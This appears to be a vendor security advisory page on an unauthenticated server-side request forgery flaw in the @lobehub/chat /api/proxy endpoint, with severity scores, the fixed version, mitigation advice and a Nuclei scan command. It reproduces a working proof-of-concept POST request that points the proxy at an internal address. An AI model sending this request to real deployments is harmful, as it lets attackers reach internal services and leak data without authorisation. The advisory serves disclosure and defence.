GHSA-mxhq-xw3g-rphc is a critical-severity (CVSS 9) Server-Side Request Forgery (SSRF) vulnerability in @lobehub/chat. EPSS puts its 30-day exploitation probability at 53.0% (99th percentile). A fix is available for @lobehub/chat — see the affected versions and patch details below.
lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-mxhq-xw3g-rphc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-mxhq-xw3g-rphc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE sits: patch-first territory.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the 50–90% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@lobehub/chatnpmDescription
Summary
The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.
Details
- visit https://chat-preview.lobehub.com/settings/agent
- you can attack all internal services by /api/proxy and get the echo in http response :)
PoC
POST /api/proxy HTTP/2
Host: xxxxxxxxxxxxxxxxx
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0
Content-Length: 23
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/agent
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
http://172.23.0.1:8000/
Impact
SSRF ,All users will be impacted.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @lobehub/chat | all versions | 0.150.6npm install @lobehub/chat@0.150.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @lobehub/chat, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @lobehub/chat to 0.150.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mxhq-xw3g-rphc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-mxhq-xw3g-rphc can be triaged on real exposure rather than presence alone.
Tailored to GHSA-mxhq-xw3g-rphc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect GHSA-mxhq-xw3g-rphc
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-mxhq-xw3g-rphc -u https://target- Template
- Lobe Chat <= v0.150.5 - Server-Side Request Forgery
- Severity
- critical
- Impact
- Unauthenticated attackers can force the server to make arbitrary requests, potentially accessing internal services and sensitive data.
- Remediation
- Update Lobe Chat to version 0.150.6 or later.
Template by ProjectDiscovery nuclei-templates (s4e-io), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-mxhq-xw3g-rphc in your dependencies?
O3 Security finds GHSA-mxhq-xw3g-rphc across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.